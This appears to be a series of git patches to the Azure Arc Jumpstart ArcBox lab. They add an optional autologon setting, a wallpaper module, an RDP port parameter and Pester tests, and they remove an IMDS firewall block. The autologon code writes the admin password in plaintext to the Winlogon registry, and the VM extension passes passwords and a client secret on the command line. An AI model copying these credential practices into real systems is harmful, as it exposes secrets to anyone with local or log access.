$logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" if ([System.IO.File]::Exists($logFilePath)) { $archivefile = "$Env:ArcBoxLogsDir\ArcServersLogonScript-" + (Get-Date -Format "yyyyMMddHHmmss") @@ -26,6 +26,20 @@ if ([System.IO.File]::Exists($logFilePath)) { Start-Transcript -Path $logFilePath -Force -ErrorAction SilentlyContinue +# Remove registry keys that are used to automatically logon the user (only used for first-time setup) +$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" +$keys = @("AutoAdminLogon", "DefaultUserName", "DefaultPassword") + +foreach ($key in $keys) { + try { + $property = Get-ItemProperty -Path $registryPath -Name $key -ErrorAction Stop + Remove-ItemProperty -Path $registryPath -Name $key + Write-Host "Removed registry key that are used to automatically logon the user: $key" + } catch { + Write-Verbose "Key $key does not exist." + } +} + ################################################ # Setup Hyper-V server before deploying VMs for each flavor ################################################ diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 3a2a1ed52d..1cc782e5e3 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -29,7 +29,9 @@ param ( [string]$templateBaseUrl, [string]$flavor, [string]$rdpPort, - [string]$sshPort + [string]$sshPort, + [string]$vmAutologon + } ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) @@ -100,6 +102,16 @@ Start-Transcript -Path $Env:ArcBoxLogsDir\Bootstrap.log $ErrorActionPreference = 'SilentlyContinue' +if ([bool]$vmAutologon){ + + Write-Host "Configuring VM Autologon" + + Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "AutoAdminLogon" "1" + Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultUserName" $adminUsername + Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultPassword" $adminPassword + +} + # Copy PowerShell Profile and Reload Invoke-WebRequest ($templateBaseUrl + "artifacts/PSProfile.ps1") -OutFile $PsHome\Profile.ps1 .$PsHome\Profile.ps1 diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index e047f07b70..41ecc94956 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -7,6 +7,9 @@ param capiArcDataClusterName string = 'ArcBox-CAPI-Data' @description('Username for the Virtual Machine') param windowsAdminUsername string = 'arcdemo' +@description('Enable automatic logon into ArcBox Virtual Machine') +param vmAutologon bool = false + @description('Password for Windows account. Password must have 3 of the following: 1 lower case character, 1 upper case character, 1 number, and 1 special character. The value must be between 12 and 123 characters long') @minLength(12) @maxLength(123) @@ -194,7 +197,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon}' } } } diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 580683ea2e..1751cda213 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -21,6 +21,9 @@ param windowsAdminUsername string @secure() param windowsAdminPassword string +@description('Enable automatic logon into ArcBox Virtual Machine') +param vmAutologon bool = false + @description('Name for your log analytics workspace') param logAnalyticsWorkspaceName string @@ -117,6 +120,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { capiArcDataClusterName : capiArcDataClusterName aksArcClusterName : aksArcDataClusterName aksdrArcClusterName : aksDrArcDataClusterName + vmAutologon: vmAutologon } dependsOn: [ updateVNetDNSServers From 576c046ecfed5ad54b1ca51f5c7acd5439ffd28c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 12:22:17 +0000 Subject: [PATCH 012/456] Added PowerShell module Azure.Arc.Jumpstart.Common Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 2 +- .../Azure.Arc.Jumpstart.Common.psd1 | 131 ++++++++++++++++++ .../Azure.Arc.Jumpstart.Common.psm1 | 12 ++ .../Public/Set-JSDesktopBackground.ps1 | 26 ++++ 4 files changed, 170 insertions(+), 1 deletion(-) create mode 100644 azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 create mode 100644 azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psm1 create mode 100644 azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Set-JSDesktopBackground.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 1cc782e5e3..0ee6d12c0b 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -124,7 +124,7 @@ Resize-Partition -DriveLetter C -Size $(Get-PartitionSupportedSize -DriveLetter Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force Install-Module -Name Microsoft.PowerShell.PSResourceGet -Force -$modules = @("Az", "Az.ConnectedMachine", "Posh-SSH", "Pester") +$modules = @("Az", "Az.ConnectedMachine", "Azure.Arc.Jumpstart.Common", "Posh-SSH", "Pester") foreach ($module in $modules) { Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 new file mode 100644 index 0000000000..e81135c294 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 @@ -0,0 +1,131 @@ +# +# Module manifest for module 'Azure.Arc.Jumpstart.Common' +# +# Generated by: Azure Arc Jumpstart +# +# Generated on: 22.12.2023 +# + +@{ + +# Script module or binary module file associated with this manifest. +RootModule = 'Azure.Arc.Jumpstart.Common.psm1' + +# Version number of this module. +ModuleVersion = '0.0.1' + +# Supported PSEditions +# CompatiblePSEditions = @() + +# ID used to uniquely identify this module +GUID = 'a0b1c2d3-e4f5-6a7b-8c9d-0e1f2a3b4c5d' + +# Author of this module +Author = 'Azure Arc Jumpstart' + +# Company or vendor of this module +CompanyName = 'Microsoft' + +# Copyright statement for this module +Copyright = '(c) Azure Arc Jumpstart. All rights reserved.' + +# Description of the functionality provided by this module +Description = 'Common functions for Azure Arc Jumpstart' + +# Minimum version of the PowerShell engine required by this module +# PowerShellVersion = '' + +# Name of the PowerShell host required by this module +# PowerShellHostName = '' + +# Minimum version of the PowerShell host required by this module +# PowerShellHostVersion = '' + +# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. +# DotNetFrameworkVersion = '' + +# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. +# ClrVersion = '' + +# Processor architecture (None, X86, Amd64) required by this module +# ProcessorArchitecture = '' + +# Modules that must be imported into the global environment prior to importing this module +# RequiredModules = @() + +# Assemblies that must be loaded prior to importing this module +# RequiredAssemblies = @() + +# Script files (.ps1) that are run in the caller's environment prior to importing this module. +# ScriptsToProcess = @() + +# Type files (.ps1xml) to be loaded when importing this module +# TypesToProcess = @() + +# Format files (.ps1xml) to be loaded when importing this module +# FormatsToProcess = @() + +# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess +# NestedModules = @() + +# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. +FunctionsToExport = 'Set-JSDesktopBackground' + +# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. +CmdletsToExport = '' + +# Variables to export from this module +VariablesToExport = '' + +# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. +AliasesToExport = '' + +# DSC resources to export from this module +# DscResourcesToExport = @() + +# List of all modules packaged with this module +# ModuleList = @() + +# List of all files packaged with this module +# FileList = @() + +# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. +PrivateData = @{ + + PSData = @{ + + # Tags applied to this module. These help with module discovery in online galleries. + # Tags = @() + + # A URL to the license for this module. + # LicenseUri = '' + + # A URL to the main website for this project. + # ProjectUri = '' + + # A URL to an icon representing this module. + # IconUri = '' + + # ReleaseNotes of this module + # ReleaseNotes = '' + + # Prerelease string of this module + # Prerelease = '' + + # Flag to indicate whether the module requires explicit user acceptance for install/update/save + # RequireLicenseAcceptance = $false + + # External dependent modules of this module + # ExternalModuleDependencies = @() + + } # End of PSData hashtable + +} # End of PrivateData hashtable + +# HelpInfo URI of this module +# HelpInfoURI = '' + +# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. +# DefaultCommandPrefix = '' + +} diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psm1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psm1 new file mode 100644 index 0000000000..cd5bbdda41 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psm1 @@ -0,0 +1,12 @@ +# Load functions from module subfolder +$ModuleRoot = Split-Path -Path $MyInvocation.MyCommand.Path + +Resolve-Path "$ModuleRoot\Functions\Public\*.ps1" | ForEach-Object -Process { + . $_.ProviderPath +} + +<# +Resolve-Path "$ModuleRoot\Functions\Private\*.ps1" | ForEach-Object -Process { + . $_.ProviderPath +} +#> \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Set-JSDesktopBackground.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Set-JSDesktopBackground.ps1 new file mode 100644 index 0000000000..82009e48b6 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Set-JSDesktopBackground.ps1 @@ -0,0 +1,26 @@ +function Set-JSDesktopBackground { + [CmdletBinding()] + param ( + [Parameter(Mandatory = $true)] + [string]$ImagePath + ) + +$code = @' + using System.Runtime.InteropServices; + namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); + } + } + } +'@ + +Add-Type $code +[Win32.Wallpaper]::SetWallpaper($ImagePath) + +} \ No newline at end of file From f24160a074dbb5886c71164951ef950a008ec42f Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 12:24:53 +0000 Subject: [PATCH 013/456] Leverage Set-JSDesktopBackground for changing wallpaper Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 30 ++++--------------- 1 file changed, 5 insertions(+), 25 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 74b458df26..b817fd750d 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -493,30 +493,10 @@ Write-Host "Creating deployment logs bundle" }' # Changing to Jumpstart ArcBox wallpaper -# Changing to Client VM wallpaper -$imgPath = "$Env:ArcBoxDir\wallpaper.png" -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); - } - } -} -'@ - -# Set wallpaper image based on the ArcBox Flavor deployed -$DataServicesLogonScript = Get-WmiObject win32_process -filter 'name="pwsh.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "DataServicesLogonScript.ps1" } -if (-not $DataServicesLogonScript) { - Write-Header "Changing Wallpaper" - $imgPath = "$Env:ArcBoxDir\wallpaper.png" - Add-Type $code - [Win32.Wallpaper]::SetWallpaper($imgPath) -} + +Write-Header "Changing wallpaper" + +$wallpaperPath = "$Env:ArcBoxDir\wallpaper.jpg" +Set-JSDesktopBackground -ImagePath $wallpaperPath Stop-Transcript From 2b3db3d751dcfbaf20f7f4a10783cc7d894bde64 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 12:48:11 +0000 Subject: [PATCH 014/456] Bugfix - syntax error Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 1 - 1 file changed, 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 0ee6d12c0b..7be525f3de 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -31,7 +31,6 @@ param ( [string]$rdpPort, [string]$sshPort, [string]$vmAutologon - } ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) From 809c603d77d6a44c45738cba562c4b710414e52e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 20:13:02 +0000 Subject: [PATCH 015/456] Updated wallpaper path Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index b817fd750d..0b32c1b71d 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -496,7 +496,7 @@ Write-Host "Creating deployment logs bundle" Write-Header "Changing wallpaper" -$wallpaperPath = "$Env:ArcBoxDir\wallpaper.jpg" +$wallpaperPath = "$Env:ArcBoxDir\wallpaper.png" Set-JSDesktopBackground -ImagePath $wallpaperPath Stop-Transcript From 76241dba606cb29d9c00a5f187676c08809e76b9 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 20:22:41 +0000 Subject: [PATCH 016/456] Removing IMDS blocking Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 0b32c1b71d..df1e845248 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -112,16 +112,6 @@ if ($Env:flavor -ne "DevOps") { Write-Host "Creating Hyper-V Shortcut" Copy-Item -Path "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Hyper-V Manager.lnk" -Destination "C:\Users\All Users\Desktop" -Force - # Configure the ArcBox Hyper-V host to allow the nested VMs onboard as Azure Arc-enabled servers - Write-Header "Blocking IMDS" - Write-Output "Configure the ArcBox VM to allow the nested VMs onboard as Azure Arc-enabled servers" - Set-Service WindowsAzureGuestAgent -StartupType Disabled -Verbose - Stop-Service WindowsAzureGuestAgent -Force -Verbose - - if (!(Get-NetFirewallRule -Name BlockAzureIMDS -ErrorAction SilentlyContinue).Enabled) { - New-NetFirewallRule -Name BlockAzureIMDS -DisplayName "Block access to Azure IMDS" -Enabled True -Profile Any -Direction Outbound -Action Block -RemoteAddress 169.254.169.254 - } - $cliDir = New-Item -Path "$Env:ArcBoxDir\.cli\" -Name ".servers" -ItemType Directory -Force if (-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden))) { $folder = Get-Item $cliDir.Parent.FullName -ErrorAction SilentlyContinue From 22de83a6b4415819eae97cce57e51147e68c7602 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 20:26:43 +0000 Subject: [PATCH 017/456] Added rdpPort parameter Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 5 ++++- azure_jumpstart_arcbox/bicep/main.bicep | 4 ++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 41ecc94956..99dd43e120 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -10,6 +10,9 @@ param windowsAdminUsername string = 'arcdemo' @description('Enable automatic logon into ArcBox Virtual Machine') param vmAutologon bool = false +@description('Override default RDP port using this parameter. Default is 3389. No changes will be made to the client VM.') +param rdpPort string = '3389' + @description('Password for Windows account. Password must have 3 of the following: 1 lower case character, 1 upper case character, 1 number, and 1 special character. The value must be between 12 and 123 characters long') @minLength(12) @maxLength(123) @@ -197,7 +200,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort}' } } } diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 1751cda213..6e6073940c 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -24,6 +24,9 @@ param windowsAdminPassword string @description('Enable automatic logon into ArcBox Virtual Machine') param vmAutologon bool = false +@description('Override default RDP port using this parameter. Default is 3389. No changes will be made to the client VM.') +param rdpPort string = '3389' + @description('Name for your log analytics workspace') param logAnalyticsWorkspaceName string @@ -121,6 +124,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { aksArcClusterName : aksArcDataClusterName aksdrArcClusterName : aksDrArcDataClusterName vmAutologon: vmAutologon + rdpPort: rdpPort } dependsOn: [ updateVNetDNSServers From 47a0fe11182391079a1f6b30fb45c5c8ddf4b904 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 25 Dec 2023 12:05:10 +0200 Subject: [PATCH 018/456] Update Arc version to 1.25.0 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index fdd62b9550..b60cb1d433 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -193,7 +193,7 @@ foreach ($cluster in $clusters) { --auto-upgrade false ` --scope cluster ` --release-namespace arc ` - --version 1.18.0 ` + --version 1.25.0 ` --config Microsoft.CustomLocation.ServiceAccount=sa-bootstrapper Write-Host "`n" From 25a881e664900889d77017b0857ea801509b944c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 26 Dec 2023 10:41:53 +0000 Subject: [PATCH 019/456] Added initial structure for Pester tests Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 15 +++++++++ .../artifacts/Bootstrap.ps1 | 6 ++++ .../artifacts/tests/common.tests.ps1 | 15 +++++++++ .../artifacts/tests/dataops.tests.ps1 | 0 .../artifacts/tests/devops.tests.ps1 | 0 .../artifacts/tests/itpro.tests.ps1 | 33 +++++++++++++++++++ 6 files changed, 69 insertions(+) create mode 100644 azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 create mode 100644 azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 create mode 100644 azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 create mode 100644 azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index df1e845248..713ff976e3 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -489,4 +489,19 @@ Write-Header "Changing wallpaper" $wallpaperPath = "$Env:ArcBoxDir\wallpaper.png" Set-JSDesktopBackground -ImagePath $wallpaperPath +Write-Header "Running tests to verify infrastructure" + +Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed + +switch ($env:flavor) { + 'DevOps' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed } + 'DataOps' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed } + 'ITPro' { Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed } + 'Full' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed + Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed + } +} + Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 7be525f3de..1e8b230894 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -81,6 +81,7 @@ $Env:ArcBoxKVDir = "$Env:ArcBoxDir\KeyVault" $Env:ArcBoxGitOpsDir = "$Env:ArcBoxDir\GitOps" $Env:ArcBoxIconDir = "$Env:ArcBoxDir\Icons" $Env:agentScript = "$Env:ArcBoxDir\agentScript" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" $Env:ToolsDir = "C:\Tools" $Env:tempDir = "C:\Temp" $Env:ArcBoxDataOpsDir = "$Env:ArcBoxDir\DataOps" @@ -96,6 +97,7 @@ New-Item -Path $Env:ToolsDir -ItemType Directory -Force New-Item -Path $Env:tempDir -ItemType directory -Force New-Item -Path $Env:agentScript -ItemType directory -Force New-Item -Path $Env:ArcBoxDataOpsDir -ItemType directory -Force +New-Item -Path $Env:ArcBoxTestsDir -ItemType directory -Force Start-Transcript -Path $Env:ArcBoxLogsDir\Bootstrap.log @@ -167,6 +169,7 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/common.dsc.yml") -OutFile $ Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/common.tests.ps1") -OutFile $Env:ArcBoxTestsDir\common.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 Invoke-WebRequest ($templateBaseUrl + "../tests/GHActionDeploy.ps1") -OutFile "$Env:ArcBoxDir\GHActionDeploy.ps1" Invoke-WebRequest ($templateBaseUrl + "../tests/OpenSSHDeploy.ps1") -OutFile "$Env:ArcBoxDir\OpenSSHDeploy.ps1" @@ -200,6 +203,7 @@ if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { Invoke-WebRequest ($templateBaseUrl + "artifacts/ArcSQLManualOnboarding.ps1") -OutFile $Env:ArcBoxDir\ArcSQLManualOnboarding.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLUser.ps1") -OutFile $Env:ArcBoxDir\installArcAgentSQLUser.ps1 Invoke-WebRequest 